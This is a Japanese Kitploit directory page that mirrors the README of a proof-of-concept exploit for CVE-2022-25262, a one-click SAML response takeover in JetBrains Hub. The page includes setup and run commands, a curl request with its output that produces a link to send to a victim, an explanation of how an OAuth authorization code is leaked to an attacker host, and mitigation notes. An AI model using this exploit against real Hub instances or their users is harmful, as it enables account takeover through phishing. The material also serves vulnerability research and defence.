Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-25262 — CVE-2022-25262 / JetBrains HubのシングルクリックSAMLレスポンス乗っ取りのPoC + 脆弱性詳細 | Kitploit
ツール/GitHubGitHub/yuriisanin/cve-2022-25262
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証レッドチーミング
GitHubyuriisanin/cve-2022-25262

CVE-2022-25262

CVE-2022-25262 / JetBrains HubのシングルクリックSAMLレスポンス乗っ取りのPoC + 脆弱性詳細

リポジトリを見る
1754年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-25262

CVE-2022-25262 の PoC + 脆弱性詳細 | JetBrains Hub シングルクリック SAML レスポンス乗っ取り

  • CVE-2022-25262
    • 要件
    • 使用方法
    • 仕組み
      • 「OAuth2 -> SAML」交換のための認可コードプール
      • YouTrack Konnector OAuth2 認可コードの奪取(仕様による)
      • 緩和策

要件

  • JetBrains Hub <2022.1.14434
  • SAML IdP として構成された JetBrains Hub
  • 「YouTrack Konnektor」サービスがインストールされていること(YouTrack にバンドルされています)

使用方法

インストールと実行:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

  usage: exploit.py [-h] [-p P]

  optional arguments:
    -h, --help  show this help message and exit
    -p P        Uvicorn port
    
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000

使用方法:

  1. 「GET /get-exploit-link」エンドポイントを使用してエクスプロイトリンクを取得します
  2. リンクを被害者に送信します

クエリパラメータ:

エクスプロイトリンクの取得:

root@kitploit:~
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"

* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
< 
* Connection #0 to host {exploit-host-ip} left intact

{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}

デモ:

CVE-2022-25262 デモ

仕組み

この脆弱性は2つの部分から構成されます:

  • 「OAuth2 -> SAML」交換プロセスにおける OAuth2 認可コードプールの使用。
  • YouTrack Konnector 統合を利用した認可コードの奪取。

「OAuth2 -> SAML」交換のための認可コードプール

SAML IdP は OAuth の拡張として機能します。特定のユーザーが特定のサービスプロバイダーにログインしたい場合、そのユーザーは OAuth 認可コードグラントフローを通過し (リクエスト1〜2)、コードを取得するとコードを Hub に返します (リクエスト3)。Hub はコードに関連付けられたユーザー情報を取得し、サービスに対して署名済み SAML レスポンスを発行します。SAML IdP は統合のために Hub OAuth2 クライアント(client_id=0-0-0-0-0)を使用しますが、コードがどの OAuth クライアントに代わって発行されたかはチェックしません。ここで重要なのは、コードが有効かどうかだけです。攻撃者が Hub に登録されている任意の OAuth クライアントから認可コードを奪う方法を見つけた場合、SAML レスポンスの乗っ取りにつながる可能性があります。

oauth2-saml-exchange

YouTrack Konnector OAuth2 認可コードの奪取(仕様による)

YouTrack Konnector は、特定の YouTrack インスタンスを Slack ボットに接続できるファーストパーティサービスです。このサービスは YouTrack の URL アドレスと、Konnector OAuth クライアントの ID およびシークレットを (リクエスト1) 受け取ります。次に、いくつかの API エンドポイントを呼び出して、指定された URL が有効な YouTrack を指していることを検証しようとします ("ハンドシェイク" リクエスト2〜3)。すべてがうまくいけば、Konnector は特定のユーザーが OAuth コードグラントフローを続行できるようにする URL を (レスポンス1) 返します。この URL には、Konnector が OAuth 認可コードを適切なハンドラー(Hub インスタンス)にルーティングするのに役立つ "state" クエリパラメータが含まれています。 攻撃者は "ハンドシェイク" に必要なエンドポイントを備えたホストを作成し、攻撃者のホストを指す "state" パラメータを取得できます。その後、攻撃者は OAuth 認可 URL を作成して被害者に送信できます。 被害者がリンクをクリックして OAuth フローを完了すると(被害者は Hub に有効なセッションを持っている必要があります)、Konnector サービスはコードを受信し、攻撃者のホストに送信します (リクエスト4〜6)。

slack-service-authz-code-takeover

緩和策

YouTrack チームは、「OAuth2 -> SAML」交換プロセス中に「JetBrains Hub Service」OAuth クライアントに対して発行された認可コードの使用を許可するチェックを追加しました。その結果、「YouTrack Konnector」OAuth クライアントに対して発行された認可コードを交換する方法はありません。

サポート

以下の Twitter や GitHub、YouTube で私をフォローできます。

ツールをダウンロード
NameDescriptionRequired
hub_urlターゲット Hub インスタンスの URL✅
issuerSAML 発行者✅
acs_urlアサーションコンシューマサービス URL✅
youtrack_urlHub に接続されている YouTrack インスタンスの URL(ゲストユーザーが無効の場合に必須)❔